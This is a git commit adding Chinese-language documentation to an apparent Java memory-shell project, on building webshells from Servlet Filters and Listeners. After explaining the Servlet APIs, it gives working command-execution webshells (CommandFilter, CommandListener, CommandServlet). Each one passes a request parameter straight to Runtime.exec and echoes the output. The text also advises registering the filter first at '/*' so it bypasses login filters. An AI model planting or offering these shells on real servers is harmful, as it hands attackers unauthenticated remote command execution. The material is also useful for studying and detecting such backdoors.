docs: add filter and listener (#27)

ReaJason · ReaJason · commit 52185262794e · 2025-04-12T21:36:35.000+08:00
diff --git a/docs/shell/FilterShell.md b/docs/shell/FilterShell.md
@@ -0,0 +1,101 @@
+# Java Servlet Filter
+
+> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
+
+Filter 是 Servlet 规范中定义的一个 Web 组件，可作用在一个 Servlet 或多个 Servlet 上，以链式的方式顺序调用，其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
+
+## Filter 配置
+
+Filter 可以选择应用的 url-pattern 或 servlet-name，以下两种方式等价
+
+```xml
+<filter-mapping>
+    <filter-name>Multipe Mappings Filter</filter-name>
+    <url-pattern>/foo/*</url-pattern>
+    <servlet-name>Servlet1</servlet-name>
+    <servlet-name>Servlet2</servlet-name>
+    <url-pattern>/bar/*</url-pattern>
+</filter-mapping>
+```
+
+```java
+@WebFilter(
+        filterName = "Multipe Mappings Filter",
+        urlPatterns = {"/foo/*", "/bar/*"},
+        servletNames = {"Servlet1", "Servlet2"}
+)
+public class MultipeMappingsFilter implements Filter {
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        // TODO
+    }
+}
+```
+
+## doFilter
+
+Web 容器在启动时，会扫描 Web 应用中所有 Filter 的定义来注册 Filter，并将其封装成 FilterChain，每个 Filter 在 JVM 中只会有一个实例。
+
+Filter 的接口签名如下，其中最重要的就是 doFilter 方法。
+
+1. Web 容器在接收到请求时，会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
+2. 当过滤器链中最后一个过滤器被调用，将会访问到最终的 Servlet 或静态资源。
+3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`，将会访问 chain 中下一个过滤器。
+4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求，那么当前过滤器需要负责填充响应对象。
+
+```java
+public interface Filter {
+    /**
+     * 由 Web 容器在初始化 Filter 时调用。
+     */
+    public void init(FilterConfig filterConfig) throws ServletException;
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
+    /**
+     * 由 Web 容器在卸载 Filter 时调用。
+     */
+    public void destroy();
+}
+```
+
+## FilterShell
+
+shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求，以下定义了一个命令回显的 FilterShell。
+
+1. 一般而言，我们会为 FilterShell 注册 url-pattern 为 `/*`，这样无论访问哪个路径都能被调用到，而且为了绕过登录过滤器，我们会把 FilterShell 注册为  FilterChain 中的第一个过滤器。
+2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
+3. 当 Filter 注册的 url-pattern 为 `/*` 时，我们拿到 cmd 参数，就可以执行命令并填充响应对象 `return` 结束请求，而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`，否则正常的业务就不会被执行。
+
+```java
+public class CommandFilter implements Filter {
+    public static String paramName;
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        HttpServletRequest servletRequest = (HttpServletRequest) request;
+        HttpServletResponse servletResponse = (HttpServletResponse) response;
+        String cmd = servletRequest.getParameter(paramName);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = servletResponse.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
+            }
+            return;
+        }
+        chain.doFilter(servletRequest, servletResponse);
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
+```
diff --git a/docs/shell/ListenerShell.md b/docs/shell/ListenerShell.md
@@ -0,0 +1,79 @@
+# Event Listeners
+
+> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
+
+Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个，并且开发者可以指定监听器的调用顺序。
+
+| Listener 接口类                                     | 描述                              |
+|--------------------------------------------------|---------------------------------|
+| javax.servlet.ServletContextListener             | 在 ServletContext 创建以及销毁时        |
+| javax.servlet.ServletContextAttributeListener    | 在 ServletContext 添加、移除或替换属性时    |
+| javax.servlet.http.HttpSessionListener           | 在 HttpSession 创建和销毁时            |
+| javax.servlet.http.HttpSessionAttributeListener  | 在 HttpSession 上添加、移除或替换属性       |
+| javax.servlet.http.HttpSessionIdListener         | 在 HttpSession id 变化时            |
+| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时            |
+| javax.servlet.http.HttpSessionBindingListener    | 在 HttpSession 上对象绑定或解绑时         |
+| javax.servlet.ServletRequestListener             | 在 ServletRequest 在将要被 Web 容器处理时 |
+| javax.servlet.ServletRequestAttributeListener    | 在 ServletRequest 上添加、移除或替换属性时   |
+| javax.servlet.AsyncListener                      | 在异步操作开始、超时或完成时                 |
+
+## ServletRequestListener
+
+在编写 shell 时我们需要关注的主要就是 ServletRequestListener，在请求处理之前可以在拿到请求信息并处理（在 Filter 以及 Servlet 之前），由于它作为事件监听器的一员，并没有直接结束请求的机制，因此在对响应体重写等操作结束之后，最后还是会走到 Filter 和 Servlet 的逻辑。
+
+```java
+public interface ServletRequestListener extends EventListener {
+    public void requestDestroyed(ServletRequestEvent sre);
+
+    /**
+     * Receives notification that a ServletRequest is about to come
+     * into scope of the web application.
+     *
+     * @param sre the ServletRequestEvent containing the ServletRequest
+     * and the ServletContext representing the web application
+     */
+    public void requestInitialized(ServletRequestEvent sre);
+}
+```
+
+以下时使用 ServletRequestListenerShell 命令回显的代码实现。
+
+1. 由于此处只能拿到 ServletRequestEvent，其中只有 ServletRequest，但是一般中间件实现中，ServletRequest 中都会有能获取到 ServletResponse 的方法，因此额外新增了一个 getResponseFromRequest 方法。
+
+```java
+public class CommandListener implements ServletRequestListener {
+    public static String paramName;
+
+    public CommandListener() {
+    }
+
+    @Override
+    public void requestDestroyed(ServletRequestEvent sre) {
+
+    }
+
+    @Override
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            String cmd = request.getParameter(paramName);
+            if (cmd != null) {
+                HttpServletResponse servletResponse = this.getResponseFromRequest(request);
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        return null;
+    }
+}
+```
diff --git a/docs/shell/ServletShell.md b/docs/shell/ServletShell.md
@@ -4,7 +4,7 @@ Java SE 中我们可以创建 socket 服务端为用户提供服务，但需要
 
 Servlet 规范旨在让开发者基于规范开发的应用，可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西，Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
 
-目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本，从 Servlet 5.0 开始，Java EE 更名为 Jakarta EE，包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 Servlet 6.1。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
+目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本，从 Servlet 5.0 开始，Java EE 更名为 Jakarta EE，包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
 
 ## ServletContext
 
@@ -82,19 +82,16 @@ public class CommandServlet extends HttpServlet {
 
     @Override
     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
-        try {
-            String cmd = request.getParameter(paramName);
-            if (cmd != null) {
-                Process exec = Runtime.getRuntime().exec(cmd);
-                InputStream inputStream = exec.getInputStream();
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+        String cmd = request.getParameter(paramName);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = response.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
             }
-        } catch (Exception ignored) {
         }
     }
 }
